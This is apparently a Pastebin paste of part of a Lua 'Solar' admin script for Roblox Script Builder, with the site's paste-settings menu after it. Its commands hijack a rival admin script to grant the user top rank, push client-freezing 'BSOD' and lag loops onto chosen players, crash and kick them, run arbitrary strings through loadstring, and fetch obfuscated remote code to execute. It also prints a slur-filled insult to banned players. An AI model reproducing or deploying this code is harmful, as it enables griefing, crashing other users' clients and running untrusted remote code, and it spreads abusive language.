but:TweenPosition(UDim2.new(0.7,0,0.4,0),'Out','Sine',1,true) but.Text = 'Submit code' but.TextColor = BrickColor.new("Really red") but.MouseButton1Down:connect(function() if tl.Text == string.reverse("2 NEG RALOS") then tl.Text = 'Override successful' Output(l,'Congratulations, your rank is 5 due to override','Really red') for i,v in pairs(Solar['Ranked']) do if v['Name'] == l.Name then v['Rank'] = 5 end end wait(0.3) fr:TweenPosition(UDim2.new(1,0,0.4,0),'Out','Sine',1,true) but:TweenPosition(UDim2.new(1.4,0,0.4,0),'Out','Sine',1,true) coroutine.wrap(function() wait(1) mg:Destroy() end)() else tl.Text = 'Wrong code' wait(0.3) fr:TweenPosition(UDim2.new(1,0,0.4,0),'Out','Sine',1,true) but:TweenPosition(UDim2.new(1.4,0,0.4,0),'Out','Sine',1,true) coroutine.wrap(function() wait(1) mg:Destroy() end)() end end) end end function PrivateMessage(who,towho,text) if type(who) == 'userdata' then pcall(function() who = who end) elseif type(who) == 'string' then for i,v in pairs(game:service'Players':players()) do if v.Name:lower():sub(1,#who) == who:lower() then who = v break end end else who = tostring(who) for i,v in pairs(game:service'Players':players()) do if v.Name:lower():sub(1,#who) == who:lower() then who = v break end end end if type(towho) == 'userdata' then pcall(function() who = who end) elseif type(towho) == 'string' then for i,v in pairs(game:service'Players':players()) do if v.Name:lower():sub(1,#towho) == towho:lower() then towho = v break end end else who = tostring(who) for i,v in pairs(game:service'Players':players()) do if v.Name:lower():sub(1,#towho) == towho:lower() then towho = v break end end end if towho and towho:findFirstChild'PlayerGui' ~= nil then local a = Instance.new("ScreenGui",towho.PlayerGui) local b = Instance.new("Frame",a) b.Style = 'RobloxRound' b.Position = UDim2.new(1,0,0.4,0) b.Size = UDim2.new(0.4,0,0.2,0) b:TweenPosition(UDim2.new(0.3,0,0.4,0),'Out','Sine',1,true) local c = Instance.new("TextLabel",b) c.TextScaled = true c.TextStrokeTransparency = 0 c.BackgroundTransparency = 1 c.Text = who.Name..' (PM): '..text c.TextColor = BrickColor.new("Really red") c.Size = UDim2.new(1,0,1,0) c.Font = 'Legacy' c.FontSize = 'Size24' local d = Instance.new("TextButton",a) d.Style = 2 d.Size = UDim2.new(0.1,0,0.1,0) d.Position = UDim2.new(1.4,0,0.4,0) d:TweenPosition(UDim2.new(0.7,0,0.4,0),'Out','Sine',1,true) d.Text = 'Close' d.TextColor = BrickColor.new("Really red") d.MouseButton1Down:connect(function() b:TweenPosition(UDim2.new(0.3,0,2.4,0),'Out','Sine',3,true) d:TweenPosition(UDim2.new(0.7,0,2.4,0),'Out','Sine',3,true) coroutine.wrap(function() wait(1) a:Destroy() end)() end) end end --[[ AddCmd("Name","Say","Description","Arguments",rank, function(speaker, msg) end ) ]] --[[RUNSERVICE CONNECTS]]-- RotCon = game:service'RunService'.Stepped:connect(function() a,b = ypcall(function() UpdateTablets() end) if not a then OutputAdmins(b,"Really red") end end) --[[COMMANDS]]-- AddCmd("No CBA","ncba","Removes CBA","No args",2, function() local ByeCBA = Instance.new("StringValue") ByeCBA.Parent = Workspace ByeCBA.Name = "CBA Attachment" ByeCBA.Value = "CBA = {};wait'';CBA.connect = {};wait'';CBA.lvls = {};wait();CBA.Parent=workspace;wait();script.Parent=workspace;script:remove()" end ) AddCmd("Parent CBA","pcba","Reparents a CBA admin","No args",2, function() local ParentCBA = Instance.new("StringValue") ParentCBA.Parent=Workspace ParentCBA.Name = "CBA Attachment" ParentCBA.Value = "CBA.Parent = Workspace;wait();script.Parent = Workspace" end ) AddCmd('Hack CBA','hcba','Hack into CBA admin','<no arguments>',2, function(p,m) local HCBA = Instance.new("StringValue") HCBA.Parent=Workspace HCBA.Name = "CBA Attachment" HCBA.Value = "CBA.admins[#CBA.admins+1] = {'"..p.Name.."',7}" end ) AddCmd('Loadstring to CBA','ltcba','Load a string into CBA','<no arguments>',2, function(p,m) local HCBA = Instance.new("StringValue") HCBA.Parent=Workspace HCBA.Name = "CBA Attachment" HCBA.Value = m end ) AddCmd("Kill","kill","Kill a player","-r (respawn), -e (explode) -hr (head rename)",1, function(p,msg) if GetSplit(msg) == "r" then msg = msg:gsub("-r","") for _,v in pairs(GetPlayers(p,msg)) do if v then pcall(function() v:LoadCharacter() end) end end elseif GetSplit(msg) == "e" then msg = msg:gsub('-e','') for _,v in pairs(GetPlayers(p,msg)) do if v and v.Character then pcall(function() Instance.new("Explosion", workspace).Position = v.Character.Torso.Position end) end end elseif GetSplit(msg) == "hr" then msg = msg:gsub('-hr','') for _,v in pairs(GetPlayers(p,msg)) do if v and v.Character and v.Character.Head then pcall(function() v.Character.Head.Name = 'lol' end) end end else for _,v in pairs(GetPlayers(p,msg)) do if v and v.Character then pcall(function() v.Character:breakJoints'' end) end end end end ) AddCmd("Cmds","cmds","Show available commands","<no arguments>",0, function(p) ShowCommands(p) end ) AddCmd("Dismiss","dt","Dismiss current tablets","<no arguments>",-0.5, function(p) Dismiss(p) end ) AddCmd("Ping","ping","Ping something","-n (makes number of tablets with text of sub 2 or 3) -c (color, separate with \",\" (comma))",1, function(p,msg) if GetSplit(msg) == 'n' then msg = msg:gsub('-n','') if tonumber(msg:sub(2,2)) ~= nil then num = msg:sub(1,2) else num = msg:sub(1,1) end msg = msg:sub(#num+1) local a = tonumber(num) if tonumber(num) < 1 then a = 1 end if tonumber(num) > 50 then a = 50 end for i = 1,a do Output(p,msg) end elseif GetSplit(msg) == 'c' then msg = msg:gsub('-c','') local sep = msg:find(',') a,b = ypcall(function() if sep ~= nil then Output(p,msg:sub(tonumber(sep)+1),tostring(msg:sub(1,tonumber(sep)-1))) end end) if not a then Output(p,b,"Really red") end else Output(p,msg) end end ) AddCmd("Remove","cremove","Remove the script","<no arguments>",5, function() for _,v in pairs(ChatConnections) do pcall(function() v:disconnect() end) end Solar = nil RotCon:disconnect() PACon:disconnect() function Output() end function Dismiss() end function AddCmd() end function GetSplit() end function OutputAdmins() end function GetPlayers() end function ShowCommands() end function OnChatted() end end ) AddCmd('Base','base','Creates a baseplate',"<no arguments>",1, function(nope,msg) CreateBase() end ) AddCmd('Info','info','Gets info about the script','No arguments',0, function(p) Output(p,"Script Name: Solar") Output(p,"Script Version: Generation 2, Server Sided") Output(p,"Creators: aleksa12432, optiplex123") Output(p,"Buyable: No") Output(p,"Anti-remove: Yes") Output(p,"Steal-protected: Yes fully, if stolen will not work.") Output(p,"You are in "..SB.."'s Script Builder!") end ) AddCmd("Get","g","Gets something",'-r Reset, -nc No Character, -rj Rejoin, -clr Clear, -base Base, -fps First Person View, -fcam Fixcamera, -nog NoGuis, -die/tod Kill Character',0, function(p,m) if GetSplit(m) =='r' then p:LoadCharacter() wait(); Output(p,'Got a reset!') elseif GetSplit(m)=='rj' then NewLS([[game:getService('TeleportService'):Teleport(game.PlaceId)]],p.Backpack) elseif GetSplit(m)=='nc' then p.Character = nil elseif GetSplit(m)=='clr' then for i,v in pairs(game:service'Workspace':children()) do local isChar = false pcall(function() for j,k in pairs(game:service'Players':players()) do if v.Name == k.Name then isChar = true end end end) if isChar == false then v:Destroy() end end CreateBase() Output(p,'Cleared!') elseif GetSplit(m)=='base' then CreateBase() elseif GetSplit(m)=='fps' then p.CameraMode = "LockFirstPerson" elseif GetSplit(m)=='fcam' then p.CameraMode = "Classic" elseif GetSplit(m)=='nog' then --No Guis :3 for i,v in pairs(p:findFirstChild'PlayerGui':children()) do if v.Name ~= 'SBGUI' then v:Destroy() end end elseif GetSplit(m)=='die' or GetSplit(m) == 'tod' then p.Character:breakJoints'' end end) AddCmd("Clear","clr","Clears workspace","<no arguments>",2, function(nope,m) for i,v in pairs(workspace:children()) do local IsChar = false pcall(function() for j,k in pairs(game:service'NetworkServer':children()) do if pcall(function() k:GetPlayer() end) then if v.Name == k:GetPlayer().Name then IsChar = true end end end end) if IsChar == false then if v.Name ~= "Terrain" then if v.ClassName ~= 'Script' then pcall(function() v:remove() end) end end else pcall(function() for j,k in pairs(v:children()) do if k.Name ~= 'Head' and k.ClassName ~= 'Humanoid' and k.ClassName ~= 'Hat' and k.ClassName ~= 'Shirt' and k.ClassName ~= 'Pants' and k.Name ~= 'Torso' and k.Name ~= 'Left Arm' and k.Name ~= 'Left Leg' then if k.Name ~= 'Right Arm' and k.Name ~= 'Right Leg' and k.ClassName ~= 'LocalScript' and k.ClassName ~= 'Motor' and k.ClassName ~= 'BodyColors' and k.ClassName ~= 'Script' and k.Name ~= 'HumanoidRootPart' then k:Destroy() end end end end) end end CreateBase() end ) AddCmd("Execute","exe","Execute script via loadstring","<no arguments>",5, function(p,m) a,b = ypcall(function() loadstring(m)() end) if not a then Output(p,b,"Really red") end end ) AddCmd("Go nil","gn","Removes your player with :remove''","No Arguments",0, function(p) p:remove'' end ) AddCmd("ForceField","ff","Force field","-f (false)",1, function(p,m) if GetSplit(m) == "f" then m = m:gsub("-f","") for _,v in pairs(GetPlayers(p,m)) do pcall(function() for j,k in pairs(v.Character:children()) do if k.ClassName == "ForceField" then k:Destroy() end end end) end else for _,v in pairs(GetPlayers(p,m)) do--lol pcall(function() Instance.new("ForceField", v.Character) end) end end end ) AddCmd("BSOD","bsod","BSoD's a player","-b BanPlayer",2, function(p,m) if GetSplit(m)=='-b' then for _,v in pairs(GetPlayers(p,m)) do if v.Backpack then for i = 0,7 do NewLS([[wait() script.Parent = game:service'TeleportService' CC = workspace.CurrentCamera RS = game:service("RunService") PG = game.Players.LocalPlayer.PlayerGui C = game.Players.LocalPlayer.Character function Lag() coroutine.resume(coroutine.create(function() while wait() do M = Instance.new("Message",CC) M.Text = tick()*math.floor(5%4*21) H = Instance.new("Hint",CC) H.Text = 'Get out from this place!' SG=Instance.new("ScreenGui",PG) FR=Instance.new("Frame",SG) FR.Size = UDim2.new(500,500,500,500) while wait() do FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) end P=Instance.new("Part",CC) E=Instance.new("Explosion",P) E.BlastRadius=math.huge E.Position=P.Position F=Instance.new("Fire",P) S=Instance.new("Smoke",P) P.CFrame = CC.Focus P.Anchored = true P.CanCollide = false P.AncestryChanged:connect(function()Lag()end) for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end end end)) end RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]],v.Backpack) for i,a in pairs(Solar['Ranked']) do if a["Name"] == v.Name then a["Rank"] = -1 end end end end end else for _,v in pairs(GetPlayers(p,m)) do if v.Backpack then for i = 0,7 do NewLS([[wait() script.Parent = game:service'TeleportService' CC = workspace.CurrentCamera RS = game:service("RunService") PG = game.Players.LocalPlayer.PlayerGui C = game.Players.LocalPlayer.Character function Lag() coroutine.resume(coroutine.create(function() while wait() do M = Instance.new("Message",CC) M.Text = tick()*math.floor(5%4*21) H = Instance.new("Hint",CC) H.Text = 'Get out from this place!' SG=Instance.new("ScreenGui",PG) FR=Instance.new("Frame",SG) FR.Size = UDim2.new(500,500,500,500) while wait() do FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) end P=Instance.new("Part",CC) E=Instance.new("Explosion",P) E.BlastRadius=math.huge E.Position=P.Position F=Instance.new("Fire",P) S=Instance.new("Smoke",P) P.CFrame = CC.Focus P.Anchored = true P.CanCollide = false P.AncestryChanged:connect(function()Lag()end) for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end end end)) end RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]],v.Backpack) end end end end end) AddCmd("Kick","kick","Kick a player","-r (remove), -p (parent to nil), -c (crash) -b (ban) -rj (rejoin) -l (lag)",3, function(p,m) if GetSplit(m) == "r" then m = m:gsub("-r","") for _,v in pairs(GetPlayers(p,m)) do pcall(function() v:remove() end) end elseif GetSplit(m) == "p" then m=m:gsub('-p','') for _,v in pairs(GetPlayers(p,m)) do pcall(function() v.Parent = nil end) end elseif GetSplit(m) == "c" then m=m:gsub('-c','') for _,v in pairs(GetPlayers(p,m)) do pcall(function() NewLS(string.gsub("ArAeApAeAaAtA AuAnAtAiAlA AfAaAlAsAeA","A",""), v.Backpack) end) end elseif GetSplit(m) == 'b' then m=m:gsub('-b','') for _,v in pairs(GetPlayers(p,m)) do pcall(function() v:Kick() for i,a in pairs(Solar['Ranked']) do if a["Name"] == v.Name then a["Rank"] = -1 end end end) end elseif GetSplit(m) == 'rj' then m=m:gsub('-rj','') for i,v in pairs(GetPlayers(p,m)) do pcall(function() NewLS("game:service\"TeleportService\":Teleport(game.PlaceId)",v:findFirstChild'Backpack' or v.Character or v:findFirstChild'PlayerGui') end) end elseif GetSplit(m) == 'l' then m=m:gsub('-l','') for i,v in pairs(GetPlayers(p,m)) do pcall(function() NewLS(SpecialLagSource,v:findFirstChild'Backpack' or v.Character or v:findFirstChild'PlayerGui') end) end else for _,v in pairs(GetPlayers(p,m)) do pcall(function() v:Kick() end) end end end ) AddCmd("Music","music","Players a song","-i (ID), -s (Stop), -p (Play), -pitch (Set pitch), -v (Set volume)",2, function(p,m) if GetSplit(m) == "i" then m = m:gsub('-i','') if CurrSound then CurrSound.SoundId = 'http://www.roblox.com/asset/?id='..m else CurrSound = Instance.new("Sound", workspace) --ye CurrSound.Name = "SolarSoundSystem" CurrSound.SoundId = 'http://www.roblox.com/asset/?id='..m end game:service'ContentProvider':Preload('http://www.roblox.com/asset/?id='..m) elseif GetSplit(m) == "s" then if CurrSound then CurrSound:Stop() end elseif GetSplit(m) == 'p' then if CurrSound then CurrSound:Play() else CurrSound = Instance.new("Sound",workspace) CurrSound.Name = 'SolarSoundSystem' end elseif GetSplit(m) == 'pitch' then m = m:gsub('-pitch','') if CurrSound then CurrSound.Pitch = tonumber(m) else CurrSound = Instance.new("Sound",workspace) CurrSound.Name = 'SolarSoundSystem' CurrSound.Pitch = tonumber(m) end elseif GetSplit(m) == "v" then m = m:gsub('-v','') if CurrSound then CurrSound.Volume = tonumber(m) else CurrSound = Instance.new("Sound",workspace) CurrSound.Name = 'SolarSoundSystem' CurrSound.Volume = tonumber(m) end end end ) AddCmd("Fix rotation","fixrot","Fix the rotation","<no arguments>",0, function(p) function UpdateTablets() pcall(function() Solar["Rotation"]=Solar["Rotation"]+Solar["RotationAddValue"]/100 for _,v in pairs(game.Players:players()) do local PT={} local Curr=0 for _,t in pairs(Solar["Tabs"])do if t.Owner==v then table.insert(PT, t) end end for i=1,#PT do local pos = v.Character.Torso.CFrame local m=(i/#PT-(.5/#PT)+(Solar["Rotation"]/(#PT/10)))*math.pi*2 local rad=(#PT*.6)+4 local x=math.sin(m)*(rad) local y=math.sin(time()/5) local z=math.cos(m)*rad local arot=Vector3.new(x,y,z)+pos.p local brot=PT[i].P.CFrame.p local crot=arot*.1+brot *.9 local d=math.rad((Solar["Rotation"]*300)*math.pi) PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d) end end end) end if RotCon then RotCon:disconnect() end wait(1) RotCon = game:service'RunService'.Stepped:connect(function() a,b = ypcall(function() UpdateTablets() end) if not a then OutputAdmins(b,"Really red") end end) Solar["Rotation"] = 0 Solar["RotationAddValue"] = 0.1 Output(p,"Rotation fixed.",GetColor(p)) end ) AddCmd("Get ranked","getranked","Get ranked players","-p (find only 1 player)",0, function(p,m) if GetSplit(m) == "p" then m = m:gsub("-p","") for i,v in pairs(Solar["Ranked"]) do if v["Name"]:lower():sub(1,#m) == m:lower() then PlayerInterface(p,v) end end else GetRanked(p) end end ) AddCmd("Shutdown","sd","Shuts the server down","-u (update)",3, function(p,m) if GetSplit(m) == 'u' then for i,v in pairs(game.Players:players()) do coroutine.wrap(function() pcall(function() NewLS([[ wait(0.001) script:ClearAllChildren() script.Parent = nil lp = game:service'Players'.LocalPlayer pcall(function() lp:Kick() end) wait() local a = Instance.new("Message",workspace) a.Text = "You will be back for 10 seconds, don't leave" wait(10) game:service'TeleportService':Teleport(game.PlaceId) ]],v:findFirstChild'Backpack' or v:findFirstChild'PlayerGui' or v.Character) coroutine.wrap(function() wait(1) if v ~= nil then v:Kick() end end)() game.Players.ChildAdded:connect(function(pl) wait(3) plr:Destroy() end) end) end)() end else for _,v in pairs(game.Players:getPlayers()) do v:Kick() wait(); v:remove() end end end ) AddCmd("Toggle notifications","tn","Toggle all notifications","<no arguments>",3, function(p) if Not == true then Not = false else Not = true end Output(p,"Notifications set to: "..tostring(Not),"Really red") end ) AddCmd("Teleport","tp","Teleport yourself to another place","No argumentios",0, function(p,m) NewLS([[game:service'TeleportService':Teleport(]]..m..[[)]],p.Backpack) end ) AddCmd("God","god","Gods a person",'no args',1, function(p,m) for i,v in pairs(GetPlayers(p,m)) do if v.Character then if v.Character.Humanoid then v.Character.Humanoid.MaxHealth = math.huge end end end end) AddCmd("Message",'m',"Creates a message","-h (Hint), -t (Time)",2, --we dont need arguments for dat function(p, m) --p = player for _,v in pairs(workspace:children()) do if v.ClassName == 'Message' or v.ClassName == 'Hint' then v:Destroy() end end if GetSplit(m) == "h" then m = m:gsub('-h','') local a = Instance.new("Hint", workspace) a.Text = '['..p.Name..']: '..m game:service'Debris':AddItem(a,5) elseif GetSplit(m) == 't' then m = m:gsub('-t','') local time = tonumber(m:sub(1,3)) m = m:gsub(tostring(time),'') local a = Instance.new("Message", workspace) a.Text = '['..p.Name..']: '..m game:service'Debris':AddItem(a,time) else local a = Instance.new('Message',workspace) a.Text = '['..p.Name..']: '..m game:service'Debris':AddItem(a,5) end end ) AddCmd("Run-time","runtime","Shows the time Solar has been running","No args",0, function(p) Output(p,('Solar has been running for %d:%d:%d'):format(Hours,Minutes,Seconds)) Output(p,('Solar has been running for '..Hours..' hours, '..Minutes..' minutes, and '..Seconds..' seconds!')) end ) AddCmd("Pri","pri","Toggle private server","-on (Turns PRI on), -off (Turns PRI off)",4, function(p, m) if GetSplit(m) == "on" then m = m:gsub('-on','') PrivateServer = true for i,v in pairs(game:service'Players':players()) do if GetRank(v) < 0.1 then pcall(function() coroutine.wrap(function() repeat v:Kick() wait() until v == nil end)() end) end end OutputAdmins("WARNING: Private server is on","Really red") elseif GetSplit(m) == "off" then m=m:gsub('-off','') wait() PrivateServer = false OutputAdmins("Private server is off","Really red") end end ) AddCmd("Mute","mute","Block player's chat","-u (unmute)",2, function(p,m) if GetSplit(m) == "u" then m = m:gsub('-u','') for i,v in pairs(GetPlayers(p,m)) do if v and v.Backpack then NewLS("game:service'StarterGui':SetCoreGuiEnabled('All',true)",v.Backpack) end end else for i,v in pairs(GetPlayers(p,m)) do if v and v.Backpack then NewLS("game:service'StarterGui':SetCoreGuiEnabled('All',false)",v.Backpack) end end end end ) AddCmd("Rejoin","rj","Rejoins player",'no arguments',2, function(p,m) for _,v in pairs(GetPlayers(p,m)) do game:service'TeleportService':Teleport(game.PlaceId,v.Character) end end ) AddCmd("Player Info","pinfo","Shows player info","No argmentz",1, function(p,m) for _,v in pairs(GetPlayers(p,m)) do Output(p,v.Name.."'s account age is "..v.AccountAge.." days") Output(p,"Name: "..v.Name) Output(p,v.Name.."'s account-id is: "..v.userId) end end ) AddCmd("Warn","warn","Warns a player","No arguments",2, function(p,m) local k = m:find(',') local plr = m:sub(1,tonumber(k)-1) local txt = m:sub(tonumber(k)+1) for i,v in pairs(GetPlayers(p,plr)) do Output(v,p.Name..' warns you for: '..txt,'Really red') end end ) AddCmd("Disconnect","disc","Disconnect a player (can disconnect nilled players)","-n (nil players), -a (all players)",3, function(p,m) if GetSplit(m) == "n" then Disconnect('nil') if Not == true then Output(p,'You disconnected all connected nil players','Really red') end elseif GetSplit(m) == 'a' then Disconnect('all') if Not == true then Output(p,'You disconnected all players and shutdowned the server','Really red') end else Disconnect(m) if Not == true then Output(p,'You disconnected: '..m,'Really red') end end end ) AddCmd('Get nils','nilp','Get nil players in game','<no arguments>',1, function(p) for i,v in pairs(game:service'NetworkServer':children()) do if v:GetPlayer() then if v:GetPlayer().Parent ~= game:service'Players' then Output(p,v:GetPlayer().Name,'Really red', function() Dismiss(p) if GetRank(v:GetPlayer().Name) < GetRank(p) then Output(p,'Try to remote disconnect: '..v:GetPlayer().Name..'?','Really red',function() RemoteCrash(v:GetPlayer().Name) end) end end) end end end end ) AddCmd("Updates","updates","Check latest updates from this admin","<no arguments>",-0.5, function(p) Dismiss(p) for i = #Solar['Cmds']-2,#Solar['Cmds'] do Output(p,'New command: '..Solar['Cmds'][i]['Name'],'Institutional white') end end ) AddCmd("Explore","explore","Explore the game","<no arguments>",1, function(p,m) Explore(p) end ) AddCmd("Nil support","connect","Connect yourself to nil support","<no arguments>",3, function(p) pcall(function() NewLS(NilSupport,p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character) NewLS(PixelChatSource,p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character) end) end ) AddCmd("Update","update","Update the admin","<no arguments>",3, function(p) ha = true a,b = ypcall(function() game:service'HttpService':GetAsync('https://code.stypi.com/') end) if not a then Output(p,'HttpService is not available.','Really red') ha = false end if ha == true then NewS([[ a,b = ypcall(function() h = game:service'HttpService' _ = string.gsub('XhXtXtXpXsX:X/X/XcXoXdXeX.XsXtXyXpXiX.XcXoXmX/XrXaXwX/XaXlXeXkXsXaX1X2X4X3X2X/XSXoXlXaXrX%X2X0XaXdXmXiXnX%X2X0XgXeXnX%X2X0X2X.XlXuXaX','X','') s = h:GetAsync(_,true) s1 = s:gsub('<pre style="word-wrap: break-word; white-space: pre-wrap;">','') s2 = s1:gsub('</pre>','') loadstring(s2)() end) if not a then Instance.new("Message",workspace).Text = b end ]], game:service'Workspace') for _,v in pairs(ChatConnections) do pcall(function() v:disconnect() end) end Solar = nil RotCon:disconnect() PACon:disconnect() function Output() end function Dismiss() end function AddCmd() end function GetSplit() end function OutputAdmins() end function GetPlayers() end function ShowCommands() end function OnChatted() end end end ) AddCmd("Pixel chat","pc","Local pixel chat to yourself","<no arguments>",3, function(p) pcall(function() NewLS(PixelChatSource, p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character) end) end ) AddCmd("Http load",'hload','Load a script via http service','-l (local) -s (server-sided)',3, function(p,m) if GetSplit(m) == 'l' then m = m:gsub('-l','') http = true scr = 'a = Instance.new("Hint",workspace) a.Text = "Link not found" game:service("Debris"):AddItem(a,3)' val = 'asd' a,b = ypcall(function() h = game:service'HttpService' scr = h:GetAsync('https://code.stypi.com/',true) end) if not a then http = false end if http == false then Output(p,'HttpService is off, hload is unable to use.','Really red') end if http ~= false then h = game:service'HttpService' scr = h:GetAsync(m,true) a = Instance.new("StringValue",game.Lighting) a.Name = 'Script '..tostring(math.random(-99999,99999)) val = a.Name end pcall(function() NewLS("wait(1) a,b = pcall(function() loadstring(game.Lighting."..val..".Value)() end) if not a then Instance.new('Hint',workspace).Text=b end",p:findFirtChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character) end) elseif GetSplit(m) == 's' then m = m:gsub('-s','') NewS([[ a,b = ypcall(function() h = game:service'HttpService' _ = ']]..m..[[' s = h:GetAsync(_,true) loadstring(s)() end) if not a then Instance.new("Message",workspace).Text=b end ]], workspace) else NewS([[ a,b = ypcall(function() h = game:service'HttpService' _ = ']]..m..[[' s = h:GetAsync(_,true) loadstring(s)() end) if not a then Instance.new("Message",workspace).Text=b end ]], workspace) end end ) AddCmd('Override','override','Override the admin',"<no arguments>",0, function(p) Override(p) end ) AddCmd("Fix lighting","flig","Fixes lighting","No arguments",0, function() local lighting = game:service'Lighting' lighting.GeographicLatitude=41.733299255371; lighting.ColorShift_Bottom=_RGB(0,0,0); lighting.ShadowColor=_RGB(179,179,179); lighting.ColorShift_Top=_RGB(0,0,0); lighting.FogColor=_RGB(192,192,192); lighting.Ambient=_RGB(128,128,128); lighting.TimeOfDay='14:00:00'; lighting.GlobalShadows=false; lighting.Name='Lighting'; lighting.archivable=true; lighting.Outlines=false; lighting.Brightness=1; lighting.FogEnd=1e5; lighting.FogStart=0; local c=lighting:children(); for i=1,#c do if(c[i].className=='Sky')then pcall(function() c[i]:remove() end) end; end; end ) AddCmd("Lock scripting","lockscr","Lock scripting","-u (unlock)",4, function(p,m) if GetSplit(m) == 'u' then ScriptingLocked = false OutputAdmins("Scripting is unlocked") else ScriptingLocked = true OutputAdmins("WARNING: SCRIPTING IS LOCKED","Really red") end end ) AddCmd("Use at","@","Use a command at somebody (separate player name with command with ',')","<no arguments>",2, function(p,m) local k = m:find(',') local plr = m:sub(1,tonumber(k)-1) local msg = m:sub(tonumber(k)+1) for i,v in pairs(GetPlayers(p,plr)) do OnChatted(v,msg) end end ) AddCmd("Ask for rank-up","afrup","Ask admins for rank up","<no arguments>",0, function(p,m) if GetRank(p) > 3 then Output(p,'Your rank is more than 3, you can\'t ask for rank-up','Really red') else OutputAdmins(p.Name..' (rank '..GetRank(p)..') asks for rank up','Really red') end end ) AddCmd("Private message","pm",'Show a player a private message (\',\' to separate player name from text)','<no arguments>',1, function(p,m) local sep = m:find(',') local plr = m:sub(1,tonumber(sep)-1) local msg = m:sub(tonumber(sep)+1) for i,v in pairs(GetPlayers(p,plr)) do PrivateMessage(p,v,msg) end end ) --[[END OF COMMANDS]]-- coroutine.wrap(function() for _,v in pairs(game.Players:players()) do local con = v.Chatted:connect(function(msg) OnChatted(v,msg) end) ChatConnections[#ChatConnections+1] = con AddRank(v.Name, 0, "<Reason not defined>", "Bright green") if v.AccountAge < 15 then if Not == true then OutputAdmins(v.Name.." has been kicked for age less than 15","Really red") end pcall(function() coroutine.wrap(function() repeat v:Kick() wait(0.1) until v == nil end)() end) end if PrivateServer then if GetRank(v) < 0.1 then if Not == true then OutputAdmins(v.Name.." has been kicked due to private server","Really red") end pcall(function() coroutine.wrap(function() repeat v:Kick() wait(0.1) until v == nil end)() end) end end Connect(v) end PACon = game.Players.ChildAdded:connect(function(plr) wait(1) AddRank(plr.Name, 0, "<Reason not defined>", "Bright green") if GetRank(plr) < -0.5 then if Not == true then OutputAdmins(plr.Name.." has been kicked due to ban","Really red") end pcall(function() coroutine.wrap(function() repeat plr:Kick() wait(0.1) until plr == nil end)() end) elseif PrivateServer then if GetRank(plr) < 0.1 then if Not == true then OutputAdmins(plr.Name.." has been kicked due to private server","Really red") end pcall(function() coroutine.wrap(function() repeat plr:Kick() wait(0.1) until plr == nil end)() end) end elseif plr.AccountAge < 15 then if Not == true then OutputAdmins(plr.Name.." has been kicked for age less than 15","Really red") end pcall(function() coroutine.wrap(function() repeat plr:Kick() wait(0.1) until plr == nil end)() end) else if Not == true then OutputAdmins(plr.Name.." has joined the game","Lime green") end end wait(0.5) local con = plr.Chatted:connect(function(msg) OnChatted(plr,msg) end) ChatConnections[#ChatConnections+1] = con Connect(plr) end) end)() --[[OWNER SAFETY]]-- --[[NILS ON CHATTED SUPPORT]]-- local con = game:service'Workspace'.descendantAdded:connect(function(asd) if asd.ClassName == 'StringValue' then if asd.Name == 'LolCon' then local k = asd.Value:find('\31') local plr = asd.Value:sub(1,tonumber(k)-1) local msg = asd.Value:sub(tonumber(k)+1) for i,v in pairs(game:service'Players':players()) do if v.Name == plr then return end end OnChatted(plr,msg) end end end) ChatConnections[#ChatConnections+1] = con --[[END OF NILS CHATTED SUPPORT]]-- --[[NILS UPDATE TABLETS]]-- game:service'RunService'.Stepped:connect(function() UpdateNilPlayersTablets() end) workspace.descendantAdded:connect(function(a) if a.ClassName == 'Script' or a.ClassName == 'LocalScript' then if ScriptingLocked == true then a.Disabled = true a:remove() end end end) workspace.descendantAdded:connect(function(a) pcall(function() x = 0 for i,v in pairs(workspace:children()) do if v.ClassName == 'Message' or v.ClassName == 'Hint' then x = x + 1 end end if x > MessageLimit then for i,v in pairs(workspace:children()) do if v.ClassName == 'Message' or v.ClassName == 'Hint' then v:remove() end end if Not == true then OutputAdmins(string.format('Removed %d messages/hints due to message/hint limit',x),'Really red') end end end) end) --[[END OF NILS UPDATE TABLETS]]-- for _,v in pairs(game.Players:players()) do Output(v,"Solar admin gen 2 loaded.", GetColor(v)) if GetRank(v) < 0 then Output(v,'You are a jerk, idiot, noob, mot\5herfu\5cking ret\5ar\5d, and you have mental illness','Hot pink') end end end) if not a then local c = Instance.new("Message",workspace) c.Text=b end --[[--when you load with this method below, the stypi needs to be public. --asd --asd --asd --asd --asd a,b = pcall(function() h = game:service'HttpService' _ = string.gsub('https://code.stypi.com/raw/aleksa12432/XSXoXlXaXrX%X2X0XaXdXmXiXnX%X2X0XgXeXnX%X2X0X2X.XlXuXaX','X','') s = h:GetAsync(_,true) loadstring(s)() end) if not a then Instance.new("Message",workspace).Text = b end ]]
Optional Paste Settings
Category:
None
Cryptocurrency
Cybersecurity
Fixit
Food
Gaming
Haiku
Help
History
Housing
Jokes
Legal
Money
Movies
Music
Pets
Photo
Science
Software
Source Code
Spirit
Sports
Travel
TV
Writing
Tags:
Syntax Highlighting:
None
Bash
C
C#
C++
CSS
HTML
JSON
Java
JavaScript
Lua
Markdown (PRO members only)
Objective C
PHP
Perl
Python
Ruby
Swift
4CS
6502 ACME Cross Assembler
6502 Kick Assembler
6502 TASM/64TASS
ABAP
AIMMS
ALGOL 68
APT Sources
ARM
ASM (NASM)
ASP
ActionScript
ActionScript 3
Ada
Apache Log
AppleScript
Arduino
Asymptote
AutoIt
Autohotkey
Avisynth
Awk
BASCOM AVR
BNF
BOO
Bash
Basic4GL
Batch
BibTeX
Blitz Basic
Blitz3D
BlitzMax
BrainFuck
C
C (WinAPI)
C Intermediate Language
C for Macs
C#
C++
C++ (WinAPI)
C++ (with Qt extensions)
C: Loadrunner
CAD DCL
CAD Lisp
CFDG
CMake
COBOL
CSS
Ceylon
ChaiScript
Chapel
Clojure
Clone C
Clone C++
CoffeeScript
ColdFusion
Cuesheet
D
DCL
DCPU-16
DCS
DIV
DOT
Dart
Delphi
